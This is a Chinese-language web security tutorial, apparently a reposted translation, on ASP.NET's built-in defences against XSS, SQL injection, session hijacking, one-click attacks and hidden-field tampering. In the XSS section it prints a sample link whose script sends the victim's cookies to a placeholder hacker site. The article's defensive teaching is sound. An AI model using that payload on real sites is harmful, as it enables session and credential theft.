程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> .NET實例教程 >> 用 ASP.NET 的內置功能抵御 Web 攻擊

用 ASP.NET 的內置功能抵御 Web 攻擊

編輯:.NET實例教程

摘要: Dino 總結了最常見的 Web 攻擊類型,並介紹了 Web 開發人員可以如何使用 ASP.Net 的內置功能來改進安全性。
  
  
  本頁內容
   ASP.Net 開發人員應當始終堅持的做法
   威脅的來源
   VIEwStateUserKey
   CookIE 和身份驗證
   會話劫持
   EnableVIEwStateMac
   ValidateRequest
   數據庫角度
   隱藏域
   電子郵件和垃圾郵件
   小結
   相關資源
  
  ASP.Net 開發人員應當始終堅持的做法
  如果您正在閱讀本文,可能就不需要再向您灌輸 Web 應用程序中的安全性愈來愈重要這一事實了。您需要的可能是一些有關如何在 ASP.NET 應用程序中實現安全性的實際建議。壞消息是,沒有任何開發平台 — 包括 ASP.NET在內 — 能夠保證一旦采用了該平台,您就能夠編寫百分百安全的代碼。誰要是這麼說,一准在撒謊。好消息是,就 ASP.NET 來說,ASP.Net,特別是版本 1.1 和即將發行的版本 2.0,集成了一些便於使用的內置防御屏障。
  
  光是應用所有這些功能並不足以保護 Web 應用程序,使其免受任何可能和可預見的攻擊。但是,如果與其他防御技巧和安全策略相結合,內置的 ASP.Net 功能將可以構成一個強大的工具包,有助於確保應用程序在安全的環境中運行。
  
  Web 安全性是各種因素的總和,是一種范圍遠超單個應用程序的策略的結果,這種策略涉及數據庫管理、網路配置,以及社會工程和 phishing。
  
  本文的目的在於說明 ASP.Net 開發人員為了將安全標准保持到合理的高度,所應始終堅持的做法。這也就是安全性最主要的內容:保持警惕,永不完全放松,讓壞人越來越難以發起黑客攻擊。
  
  下面我們來看看 ASP.Net 提供了哪些可以簡化這項工作的功能。
  
  威脅的來源
  在表 1 中,我匯總了最常見的 Web 攻擊類型,以及應用程序中可能導致這些攻擊得手的缺陷。
  
  攻擊 攻擊的可能發起人
  跨站點腳本 (XSS)
   回顯到頁的不可信用戶輸入
  
  SQL 注入
   串連用戶輸入以形成 SQL 命令
  
  會話劫持
   會話 ID 猜測和失竊的會話 ID CookIE
  
  一次單擊
   通過腳本發送的未被察覺的 HTTP 張貼
  
  隱藏域篡改
   未檢查(且受信)的隱藏域被填充以敏感數據
  
  
  表 1. 常見的 Web 攻擊
  
  列表中顯現出來的關鍵性事實有哪些?在我看來,起碼有以下三點:
  
  • 無論您何時將何種用戶輸入插入浏覽器的標記中,您都潛在地將自己暴露在了代碼注入攻擊(任何 SQL 注入和 XSS 變種)之下。
  
  • 必須以安全的方式實現數據庫訪問,就是說,應當為數據庫使用盡可能少的權限,並通過角色來劃分各個用戶的職責。
  
  • 永遠都不通過網絡發送敏感數據(更別說是明文了),並且必須以安全的方式將敏感數據存儲在服務器上。
  
  
  有意思的是,上面的三點分別針對的是 Web 安全性的三個不同方面,而這三個方面結合起來,才是唯一的一種生成防攻擊、防篡改應用程序的合理方式。

Web 安全性的各個層面可以總結如下:
  
  • 編碼實踐:數據驗證、類型和緩沖區長度檢查,防篡改措施
  
  • 數據訪問策略:使用決策來保護可能最弱的帳戶,使用存儲過程或者至少是參數化的命令。
  
  • 有效的存儲和管理:不將關鍵性數據發送到客戶端,使用哈希代碼來檢測操作,對用戶進行身份驗證並保護標識,應用嚴格的密碼策略
  
  
  如您所看到的,只有可以通過開發人員、架構師和管理員的共同努力,才可以產生安全的應用程序。請不要假定您能夠以其他方式達到同樣目的。
  
  編寫 ASP.NET 應用程序時,您並不是獨自面對黑客大軍:唯一的武器是通過自己的大腦、技能和手指鍵入的代碼行。ASP.Net 1.1 和更高版本都會施加援手,它們具有一些特定的功能,可以自動提高防御以上列出的某些威脅的屏障。下面我們對它們進行詳細的檢視。
  
  
  VIEwStateUserKey
  從 ASP.Net 1.1 開始引入,VIEwStateUserKey 是 Page 類的一個字符串屬性,只有很少數開發人員真正熟悉該屬性。為什麼呢?讓我們看看文檔中是怎麼說的。
  
  在與當前頁相關聯的視圖狀態變量中將一個標識符分配給單個用戶
  
  除了有些累贅,這個句子的意思相當清楚;但是,您能老老實實地告訴我,它說明了該屬性原本的用途嗎?要理解 VIEwStateUserKey 的角色,您需要繼續往下讀,直到 Remarks 部分。
  
  該屬性有助於防止一次單擊攻擊,因為它提供了附加的輸入以創建防止視圖狀態被篡改的哈希值。換句話說,VIEwStateUserKey 使得黑客使用客戶端視圖狀態的內容來准備針對站點的惡意張貼困難了許多。可以為該屬性分配任何非空的字符串,但最好是會話 ID 或用戶的 ID。為了更好地理解這個屬性的重要性,下面我們簡短介紹一下一次單擊攻擊的基本知識。
  
  一次單擊攻擊包括將惡意的 HTTP 表單張貼到已知的、易受攻擊的 Web 站點。之所以稱為“一次單擊”,是因為它通常是以受害者不經意的單擊通過電子郵件發送的或者在擁擠的論壇中浏覽時發現的誘惑性鏈接而開始的。通過點擊該鏈接,用戶無意中觸發了一個遠程進程,最終導致將惡意的 <form> 提交到一個站點。大家都坦白些吧:您真能告訴我,您從未因為好奇而單擊過 Click here to win $1,000,000 這樣的鏈接嗎?顯然,並沒有什麼糟糕的事情發生在您身上。讓我們假定的確是這樣的;您能說 Web 社區中的所有其他人都幸免於難了嗎?誰知道呢。
  
  要想成功,一次單擊攻擊需要特定的背景條件:
  
  • 攻擊者必須充分了解該有漏洞的站點。這是可能的,因為攻擊者可以“勤奮地”研究該文件,或者他/她是一位憤怒的內部人員(例如,被解雇而又不誠實的雇員)。因此,這種攻擊的後果可能是極其嚴重的。
  
  • 站點必須是使用 Cookie(如果是持續性 Cookie,效果更好)來實現單次登錄,而攻擊者曾經收到過有效的身份驗證 cookIE。
  
  • 該站點的某些用戶進行了敏感的事務。
  
  • 攻擊者必須能夠訪問目標頁。
  
  
  前已提及,攻擊包括將惡意的 HTTP 表單提交到等待表單的頁。可以推知,該頁將使用張貼來的數據執行某些敏感操作。可想而知,攻擊者清楚地了解如何使用各個域,並可以想出一些虛假的值來達到他的目的。這通常是目標特定的攻擊,而且由於它所建立的三角關系,很難追本溯源 — 即黑客誘使受害者單擊該黑客站點上的一個鏈接,而這又會導致惡意代碼被張貼到第三個站點。(請參閱圖 1。)
  
  
   
  圖 1. 一次單擊攻擊
  
  
  為什麼是不抱懷疑的受害者?這是因為,這種情況下,服務器日志中所顯示的發出惡意請求的 IP 地址,是該受害者的 IP 地址。如前所述,這種工具並不像“經典”的 XSS 一樣常見(和易於發起);但是,它的性質決定了它的後果可能是災難性。如何應對它?下面,我們審視一下這種攻擊在 ASP.Net 環境下的工作機理。
  
  除非操作編碼在 Page_Load 事件中,否則 ASP.NET 頁根本不可能在回發事件之外執行敏感代碼。要使回發事件發生,視圖狀態域是必需的。請牢記,ASP.NET 會檢查請求的回發狀態,並根據是否存在 _VIEWSTATE 輸入域,相應地設置 IsPostBack。因此,無論誰要向 ASP.Net 頁發送虛假請求,都必須提供一個有效的視圖狀態域。
  
  一次單擊攻擊要想得手,黑客必須能夠訪問該頁。此時,有遠見的黑客會在本地保存該頁。這樣,他/她就可以訪問 _VIEWSTATE 域並使用該域,用舊的視圖狀態和其他域中的惡意值創建請求。問題是,這能行嗎?
  
  為什麼不能?如果攻擊者可以提供有效的身份驗證 cookIE,黑客就可以進入,請求將被照常處理。服務器上根本不會檢查視圖狀態內容(當 EnableViewStataMac 為 off 時),或者只會檢查是否被篡改過。默認情況下,試圖狀態中沒有機制可以將該內容與特定的用戶關聯起來。攻擊者可以輕松地重用所獲取的視圖狀態,冒充另一個用戶合法地訪問該頁,以生成虛假請求。這正是 VIEwStateUserKey 介入的地方。
  
  如果選擇准確,該屬性可以將用戶特定的信息添加到視圖狀態。處理請求時,ASP.Net 會從視圖狀態中提取秘鑰,並將其與正在運行的頁的 VIEwStateUserKey 進行比較。如果兩者匹配,請求將被認為是合法的;否則將引發異常。對於該屬性,什麼值是有效的?
  
  為所有用戶將 VIEwStateUserKey 設置為常量字符串,相當於將它保留為空。您必須將它設置為對各個用戶都不同的值 — 用戶 ID,會話 ID 更好些。由於一些技術和社會原因,會話 ID 更為合適,因為會話 ID 不可預測,會超時失效,並且對於每個用戶都是不同的。
  
  以下是一些在您的所有頁中都必不可少的代碼:
  
  void Page_Init (object sender, EventArgs e) {
   VIEwStateUserKey = Session.SessionID;
   :
  }
  
  為了避免重復編寫這些代碼,您可以將它們固定在從 Page 派生的類的 OnInit 虛擬方法中。(請注意,您必須在 Page.Init 事件中設置此屬性。)
  
  protected override OnInit(EventArgs e) {
   base.OnInit(e);
   VIEwStateUserKey = Session.SessionID;
  }
  
  總體說來,使用基 page 類始終都不失為一件好事,我在 Build Your ASP.Net Pages on a Richer Bedrock 一文中已經進行了說明。如果您要了解更多有關一次單擊攻擊者的伎倆的信息,可以在 ASPnetpro.com 找到一篇非常好的文章。
  
  CookIE 和身份驗證
  Cookie 之所以存在,是因為它們可以幫助開發人員達到一定目的。CookIE 充當了浏覽器與服務器之間的一種持續性鏈接。特別是對於使用單次登錄的應用程序來說,失竊的 cookIE 正是使得攻擊成為可能的罪魁禍首。這對於一次單擊攻擊來說一點沒錯。
  
  要使用 Cookie,無需以編程方式顯式創建和讀取它們。如果您使用會話狀態且實現表單身份驗證,您會隱式地使用 Cookie。當然,ASP.NET 支持無 cookIE 的會話狀態,而且,ASP.Net 2.0 還引入了無 cookie 的表單身份驗證。因此,理論上您可以在沒有 Cookie 的情況下使用這些功能。我並不是說您不再必須這麼做了,但事實上這正是療法比疾病更糟的情形之一。無 CookIE 的會話,實際上將會話 ID 嵌入了 URL 中,這樣誰都可以看到。
   
  與使用 Cookie 有關的潛在問題有哪些?Cookie 可能被盜(即被復制到黑客的計算機)和*(即被填充以惡意數據)。這些操作通常是即將發起的攻擊的前奏。如果被盜,Cookie 會“授權”外部用戶以您的名義連接到應用程序(並使用受保護的頁),這可能使黑客輕松地規避授權,並能夠執行角色和安全設置所允許受害者執行的任何操作。因此,身份驗證 CookIE 通常被賦予相對較短的生存期,即 30 分鐘。(請注意,即使浏覽器的會話完成所需的時間更長,cookIE 仍會過期。)發生失竊時,黑客有 30 分鐘的時限來嘗試攻擊。
  
  可以將這個時限加長,以免用戶不得不過於頻繁地登錄;但請注意,這麼做會將您自己置於危險境地。任何情況下,都應避免使用 ASP.Net 持續性 Cookie。它將導致 cookie 具有幾乎永久的生存期,最長可達 50 年!下面的代碼片段演示了如何輕松修改 cookIE 的過期日期。
  
  void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
   // Set the cookIE's expiration date
   HttpCookie cookIE;
   cookie = FormsAuthentication.GetAuthCookIE(user, isPersistent);
   if (isPersistent)
   cookIE.Expires = DateTime.Now.AddDays(10);
  
   // Add the cookIE to the response
   Response.Cookies.Add(cookIE);
  
   // Redirect
   string targetUrl;
   targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
  }
  
  您可以在自己的登錄表單中使用這些代碼來微調身份驗證 CookIE 的生存期。
  
  
  會話劫持
  Cookie 還被用於檢索特定用戶的會話狀態。會話的 ID 被存儲到 cookie 中,該 cookIE 與請求一起來回傳送,存儲在浏覽器的計算機上。同樣,如果失竊,會話 cookIE 將可被用來使黑客進入系統並訪問別人的會話狀態。不用說,只要指定的會話處於活動狀態(通常不超 20 分鐘),這就有可能發生。通過冒充的會話狀態發起的攻擊稱為會話劫持。有關會話劫持的詳細信息,請閱讀 Theft On The Web: Prevent Session Hijacking。
  
  這種攻擊有多危險?很難講。這要取決於 Web 站點的功能,更為重要的是,該站點的頁是如何設計的。例如,假定您能夠獲得別人的會話 cookIE,並將它附加到對站點上某個頁的請求中。您加載該頁並逐步研究它的普通用戶界面。除了該頁使用另一個用戶的會話狀態工作外,您無法將任何代碼注入該頁,也無法修改該頁中的任何內容。這本身並不太壞,但是如果該會話中的信息是敏感和關鍵性的,就有可能直接導致黑客成功實現利用。黑客無法滲透到會話存儲的內容中,但他可以使用其中存儲的信息,就像自己是合法進入的一樣。例如,假定有這樣一個電子商務應用程序,它的用戶在浏覽站點時將物品添加到購物車中。
  
  • 方案 1。 購物車的內容存儲在會話狀態中。但是,在結帳時,用戶被要求通過安全的 SSL 連接確認和輸入付款詳細信息。這種情況下,通過接入其他用戶的會話狀態,黑客僅可以了解到一些有關受害者的購物喜好的細節。在這種環境下劫持實際上並不會導致任何損害。受威脅的只是保密性。
  
  • 方案 2。應用程序為每位注冊用戶處理一份檔案,並將檔案保存在會話狀態中。糟糕的是,檔案中(可能)包括信用卡信息。為什麼要將用戶檔案詳細信息存儲到會話中?可能應用程序的其中一個目標是,從根本上避免使用戶不得不重復鍵入自己的信用卡和銀行信息。因此,在結算時,應用程序會將用戶定位到一個具有預先填充的域的頁。而有失謹慎的是,這些域的其中一個是從會話狀態中獲取的信用卡號。現在您可以猜到故事的結局了嗎?
  
  
  應用程序的頁的設計,是防止會話劫持攻擊的關鍵所在。當然,還有兩點沒有理清。第一點是,如何防止 cookIE 盜竊?第二點是,ASP.Net 可以如何檢測和阻止劫持?
  
  ASP.NET 會話 cookie 極其簡單,僅限於包含會話 ID 字符串本身。ASP.NET 運行庫從 cookIE 中提取會話 ID,並將其與活動的會話進行比較。如果 ID 有效,ASP.Net 將連接到對應的會話並繼續。這種行為極大地方便了已經偷到或者可以猜出有效的會話 ID 的黑客。
  
  XSS 和中間人 (man-in-the-middle) 攻擊以及對客戶端 PC 的強力訪問,都是獲取有效 cookIE 的方法。為了防止盜竊,您應當實現安全最佳實踐來防止 XSS 及其各變種得手。
  
  而為了防止會話 ID 猜測,您應當干脆避免太高估計自己的技能。猜測會話 ID 意味著您知道如何預測有效的會話 ID 字符串。對於 ASP.Net 所使用的算法(15 個隨機數字,映射為啟用 URL 的字符),隨機猜測到有效 ID 的概率接近於零。我想不到任何理由來用自己的會話 ID 生成器替換默認的會話 ID 生成器。許多情況下,這麼做只會為攻擊者提供方便。
  
  會話劫持更為糟糕的後果是一旦 cookie 被盜或者被猜出,ASP.NET 並沒有什麼辦法來檢測欺詐性的 cookIE 使用。同樣,原因是 ASP.Net 將自己限制為檢查 ID 的有效性,以及 cookIE 的來源地。
  
  我在 Wintellect 的朋友 Jeff Prosise 為 MSDN Magazine 寫了一篇很好的關於會話劫持的文章。他的結論並不令人安慰:幾乎不可能建立能夠完全抵御依靠偷來的會話 ID Cookie 所發起的攻擊的防御工事。但是他開發的代碼為進一步提升安全標准提供了非常明智的建議。Jeff 創建了一個 HTTP 模塊,該模塊為會話 ID Cookie 監視傳入的請求和傳出的響應。該模塊將一條哈希代碼附加到會話 ID 之後,使攻擊者重用 cookIE 更為困難。您可以在此處閱讀詳情。
  
  EnableVIEwStateMac
  視圖狀態用於在對同一個頁的兩個連續請求之間保持控件的狀態。默認情況下,視圖狀態是 Base64 編碼的,並使用一個哈希值簽名,以防止篡改。除非更改默認的頁設置,否則不可能篡改視圖狀態。如果攻擊者修改了視圖狀態,甚至使用正確的算法重新生成了視圖狀態,ASP.Net 都會捕獲這些嘗試並引發異常。視圖狀態被篡改並不一定有害,雖然它修改了服務器控件的狀態 — 但可能成為造成嚴重感染的工具。因此,不 移除默認情況下進行的計算機身份驗證代碼 (Mac) 交叉檢查就異常重要。請參閱圖 2。
  
  圖 2. 啟用 EnableVIEwStateMac 時,使視圖狀態本身難以篡改的因素
  
  
  啟用了 Mac 檢查時(默認情況),將對序列化的視圖狀態附加一個哈希值,該值是使用某些服務器端值和視圖狀態用戶秘鑰(如果有)生成的。回發視圖狀態時,將使用新的服務器端值重新計算該哈希值,並將其與存儲的值進行比較。如果兩者匹配,則允許請求;否則將引發異常。即使假設黑客具有破解和重新生成視圖狀態的能力,他/她仍需要知道服務器存儲的值才可以得出有效的哈希。具體說來,該黑客需要知道 machine.config 的 <MachineKey> 項中引用的計算機秘鑰。 
     默認情況下, 項是自動生成的,以物理方式存儲在 Windows Local Security Authority (LSA) 中。僅在 Web 場(此時視圖狀態的計算機秘鑰必須在所有的計算機上都相同)的情形下,您才應當在 Machine.config 文件中將其指定為明文。
  
  視圖狀態 Mac 檢查是通過一個名為 EnableVIEwStateMac 的 @Page 指令屬性控制的。如前所述,默認情況下,它被設置為 true。請永遠不要禁用它;否則將會使視圖狀態篡改一次單擊攻擊成為可能,並具有很高的成功概率。
  
  ValidateRequest
  跨站點腳本 (XSS) 對於很多經驗豐富的 Web 開發人員來說是老朋友了,它在 1999 年左右就已經出現了。簡單地說,XSS 利用代碼中的漏洞來將黑客的可執行代碼引入另一個用戶的浏覽器會話中。如果被執行,注入的代碼可以執行多種不同的操作 — 獲取 Cookie 並將一個副本上載到黑客控制的 Web 站點,監視用戶的 Web 會話並轉發數據,修改被黑的頁的行為和外觀以使其提供錯誤的信息,甚至使自己變為持續性的,這樣用戶下一次返回該頁時,欺詐代碼會再次運行。請在 TechNet 文章 Cross-site Scripting OvervIEw 中詳細閱讀有關 XSS 攻擊的基礎知識。
  
  代碼中的哪些漏洞導致 XSS 攻擊成為可能?
  
  XSS 利用的是動態生成 Html 頁、但並不驗證回顯到頁的輸入的 Web 應用程序。這裡的輸入 是指查詢字符串、CookIE 和表單域的內容。如果這些內容在未經適當性能檢查的情況下出現在網絡上,就存在黑客對其進行操作以在客戶端浏覽器中執行惡意腳本的風險。(前面提到的一次單擊攻擊其實是 XSS 的一種新近變種。)典型的 XSS 攻擊會導致不抱懷疑的用戶點擊一條誘惑性鏈接,而該鏈接中嵌入了轉義的腳本代碼。欺詐代碼將被發送到一個存在漏洞且會毫不懷疑地輸出它的頁。以下是可能發生的情況的一個示例:
  
  <a href="http://www.vulnerableserver.com/brokenpage.ASPx?Name=
  <script>document.location.replace(
  'http://www.hackersite.com/HackerPage.ASPx?
  Cookie=' + document.cookIE);
  </script>">Click to claim your prize</a>
  
  用戶單擊一個看上去明顯安全的鏈接,最終導致將一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先獲取用戶計算機上的所有 CookIE,然後將它們發送到黑客的 Web 站點。
  
  請務必注意,XSS 不是一個特定於供應商的問題,因此並不一定會利用 Internet Explorer 中的漏洞。它影響目前市場上的所有 Web 服務器和浏覽器。更應注意的是,沒有哪一個修補程序能夠修復這一問題。您完全可以保護自己的頁免受 XSS 攻擊,方法是應用特定的措施和合理的編碼實踐。此外,請注意,攻擊者並不需要用戶單擊鏈接就可以發起攻擊。
  
  要防御 XSS,您必須從根本上確定哪些輸入是有效的,然後拒絕所有其他輸入。您可以在一本書中讀到抵御 XSS 攻擊的詳細檢查表,該書在 Microsoft 屬於必讀范圍 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc。特別地,我建議您仔細閱讀第 13 章。
  
  阻止陰險的 XSS 攻擊的主要方法是向您的輸入(任何類型的輸入數據)添加一個設計合理、有效的驗證層。例如,某些情況下即使是原本無害的顏色(RGB 三色)也會將不受控制的腳本直接帶入頁中。
   
  在 ASP.Net 1.1 中,@Page 指令上的 ValidateRequest 屬性被打開後,將檢查以確定用戶沒有在查詢字符串、CookIE 或表單域中發送有潛在危險性的 HTML 標記。如果檢測到這種情況,將引發異常並中止該請求。該屬性默認情況下是打開的;您無需進行任何操作就可以得到保護。如果您想允許 Html 標記通過,必須主動禁用該屬性。
  
  <%@ Page ValidateRequest="false" %>
  
  ValidateRequest不是 萬能的藥方,無法替代有效的驗證層。請閱讀此處以獲取大量有關該功能的基礎原理的寶貴信息。它基本上通過應用一個正則表達式來捕獲一些可能有害的序列。
  
  注 ValidateRequest 功能原本是有缺陷的,因此您需要應用一個修補程序它才能按預期工作。這樣的重要信息常常不為人們所注意。奇怪的是,我發現我的其中一台計算機仍受該缺陷的影響。試試看!
  
  沒有任何關閉 ValidateRequest 的理由。您可以禁用它,但必須有非常好的理由;其中一條這樣的理由可能是用戶需要能夠將某些 HTML 張貼到站點,以便得到更好的格式設置選項。這種情況下,您應當限制所允許的 Html 標記(<pre>、<b>、<i>、<p>、<br>、<hr>)的數目,並編寫一個正則表達式,以確保不會允許或接受任何其他內容。
  
  以下是一些有助於防止 ASP.Net 遭受 XSS 攻擊的其他提示:
  
  • 使用 HttpUtility.HtmlEncode 將危險的符號轉換為它們的 Html 表示形式。
  
  • 使用雙引號而不是單引號,這是因為 Html 編碼僅轉義雙引號。
  
  • 強制一個代碼頁以限制可以使用的字符數。
  
  
  總之,使用但是不要完全信任 ValidateRequest 屬性,不要太過懶惰。花些時間,從根本上理解 XSS 這樣的安全威脅,並規劃以一個關鍵點為中心的防御策略:所有的用戶輸入都是危險的。
  
  返回頁首
  數據庫角度
  SQL 注入是另一種廣為人知的攻擊類型,它利用的是使用未篩選的用戶輸入來形成數據庫命令的應用程序。如果應用程序興高采烈地使用用戶鍵入表單域中的內容來創建 SQL 命令字符串,就會將您暴露在這一風險下:惡意用戶只需訪問該頁並輸入欺詐參數,就可以修改查詢的性質。您可以在此處了解更多有關 SQL 注入的信息。
  
  要阻止 SQL 注入攻擊,有許多方法。以下介紹最常見的技巧。
  
  • 確保用戶輸入屬於適當的類型,並遵循預期的模式(郵政編碼、SFZ號,電子郵件等)。如果預期來自文本框的數字,請在用戶輸入無法轉換為數字的內容時阻止該請求。
  
  • 使用參數化的查詢,使用存儲過程更好。
  
  • 使用 SQL Server 權限來限制各個用戶可以對數據庫執行的操作。例如,您可能需要禁用 xp_cmdshell 或者將該操作的權限僅限於管理員。
  
  
  如果使用存儲過程,可以顯著降低發生這種攻擊的可能性。實際上,有了存儲過程,您就無需動態地撰寫 SQL 字符串。此外,SQL Server 中將驗證所有參數是否具有指定的類型。雖然光是這些並不是百分百安全的技巧,但是加上驗證的話,將足以提高安全性。
  
  更為重要的是,應確保只有經過授權的用戶才能夠執行可能具有嚴重後果的操作,如刪除表。這要求認真仔細地設計應用程序的中間層。好的技巧(不光是為了安全性)應把焦點集中在角色上。應當將用戶分組為各種角色,並為各個角色定義一個包含一組最少的權限的帳戶。
  
  幾周前,Wintellect Web 站點受到一種很復雜的 SQL 注入的攻擊。那位黑客試圖創建並啟動一個 FTP 腳本來下載一個可能是惡意的可執行程序。幸運的是,這次攻擊失敗了。或者,其實是強用戶驗證,使用存儲過程和使用 SQL Server 權限,導致了攻擊未能成功?
  
  總而言之,您應當遵循這些指南,以避免被注入有害的 SQL 代碼:
  
  • 使用盡可能少的權限運行,永遠不以“sa”身份執行代碼。
  
  • 將訪問限制給內置的存儲過程。
  
  • 首選使用 SQL 參數化查詢。
  
  • 不通過字符串串連來生成語句,不回顯數據庫錯誤。
  
  
  隱藏域
  在傳統的 ASP 中,隱藏域是唯一一種在請求之間保持數據的方法。您需要在下一個請求中檢索的任何數據都被打包到隱藏的 <input> 域中,並執行回程。如果有人在客戶端上修改了該域中存儲的值,會怎樣?只要文本是明文的,服務器端環境就無法測知這一情況。ASP.Net 中,頁和各個控件的 ViewState 屬性有兩個用途。一方面,ViewState 是跨請求保持狀態的方法;另一方面,VIEwState 使您能夠在受保護的、不易篡改的隱藏域中存儲自定義值。
  
  如圖 2 所示,視圖狀態被附加了一個哈希值,對於每條請求,都會檢查該值,以檢測是否發生了篡改。除少數幾種情況外,沒有任何理由要在 ASP.Net 中使用隱藏域。視圖狀態能夠以安全得多的方式實現相同的功能。前面開門見山地講到過,在明文的隱藏域中存儲敏感的值(如價格或信用卡詳細信息),相當於對黑客張開大門;視圖狀態甚至能夠使這種不好的做法比以前更為安全,因為視圖狀態具有數據保護機制。但是,請牢記,視圖狀態可以防止篡改,但是並不能保證保密性,除非使用加密 — 存儲在視圖狀態中的信用卡詳細信息無論如何都有風險。
  
  在 ASP.Net 中,哪些情況下使用隱藏域是可接受的?當您生成需要將數據發送回服務器的自定義控件時。例如,假定您要創建一個支持重派列順序的新 DataGrid 控件。您需要在回發中將新的順序發送回服務器。如果不將這些信息存儲到隱藏域中,又可以存儲到哪裡?
  
  如果隱藏域為讀/寫域,即預期客戶端會寫入它,沒什麼辦法能夠完全制止黑客攻擊。您可以嘗試哈希或者加密該文本,但這並不能讓您合理地確信不會遭受黑客攻擊。此時,最好的防御就是讓隱藏域包含惰性和無害的信息。
  
  此外,應當注意 ASP.Net 公開了一個鮮為人知的類,可用於編碼和哈希任何序列化的對象.該類為 LosFormatter,VIEwState 實現用於創建回程到客戶端的編碼文本正是同一個類。
  
  private strin

g EncodeText(string text) {
   StringWriter writer = new StringWriter();
   LosFormatter formatter = new LosFormatter();
   formatter.Serialize(writer, text);
   return writer.ToString();
  }
  
  前面的代碼片段演示了如何使用 LosFormatter 來創建類似視圖狀態的內容,對其編碼並進行哈希。
  
  電子郵件和垃圾郵件
  在本文結尾,請讓我指出,最常見的攻擊中至少有兩種(經典的 XSS 和一次單擊)通常是通過誘使不抱懷疑的受害者單擊誘惑性和欺騙性的鏈接來發起的。很多時候我們都可以在自己的收件箱中發現這樣的鏈接,雖然有反垃圾郵件過濾器。幾美元就可以買到大量電子郵件地址。用來生成這種列表的其中一種主要的技巧就是掃描 Web 站點上的公共頁,查找並獲取所有看上去像電子郵件的內容。
  
  如果頁上顯示了電子郵件地址,很可能或早或晚這個地址都會被自動 Web 程序捕獲。真的嗎?當然,這要看該電子郵件是如何顯示的。如果硬編碼它,您輸定了。如果采用其他表示形式(如 dino-at-microsoft-dot-com),是否能夠騙過自動 Web 程序不太清楚,但能讓所有閱讀您的頁並想建立合法聯系的人光火,倒是一定的。
  
  總體說來,您應當確定一種方法,將電子郵件動態地生成為 mailto 鏈接。Marco Bellinaso 編寫的一個免費組件恰好可以完成這項工作。您可以從 DotNet2TheMax Web 站點獲得該組件的全部源代碼。
  
  小結
  有人懷疑 Web 可能是所有運行時環境中敵意最盛的嗎?根源在於誰都可以訪問 Web 站點,並嘗試向它傳遞好的或壞的數據。但是,創建不接受用戶輸入的 Web 應用程序,又有什麼意義呢?
  
  我們還是直面現實吧:無論您的防火牆如何強大,無論您如何頻繁地應用可用的修補程序,只要您運行的 Web 應用程序先天包含缺陷,攻擊者遲早都可以通過主通道,也就是端口 80,直接進入您的系統的最核心部分。
  
  ASP.Net 應用程序與其他 Web 應用程序相較,既不更易受攻擊,也不更安全。安全性和漏洞同樣根植於編碼實踐、實際經驗和團隊合作。如果網絡不安全,那麼任何應用程序都不安全;類似地,無論網絡如何安全,管理如何精良,如果應用程序存在缺陷,攻擊者總是能夠得手。
  
  ASP.NET 的好處是提供了一些好的工具,只需少量工作,就可以將安全標准提升到可以接受的級別。當然,這並不是 足夠高的級別。不應純粹以來 ASP.Net 的內置解決方案,同樣也不應忽視它們。盡可能多地了解常見的攻擊。
  
  本文提供了內置功能的帶注釋的列表,以及一些有關攻擊與防御的背景知識。用來檢測傳出的攻擊的技巧是另一回事,可能需要一篇專門的文章來進行介紹。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved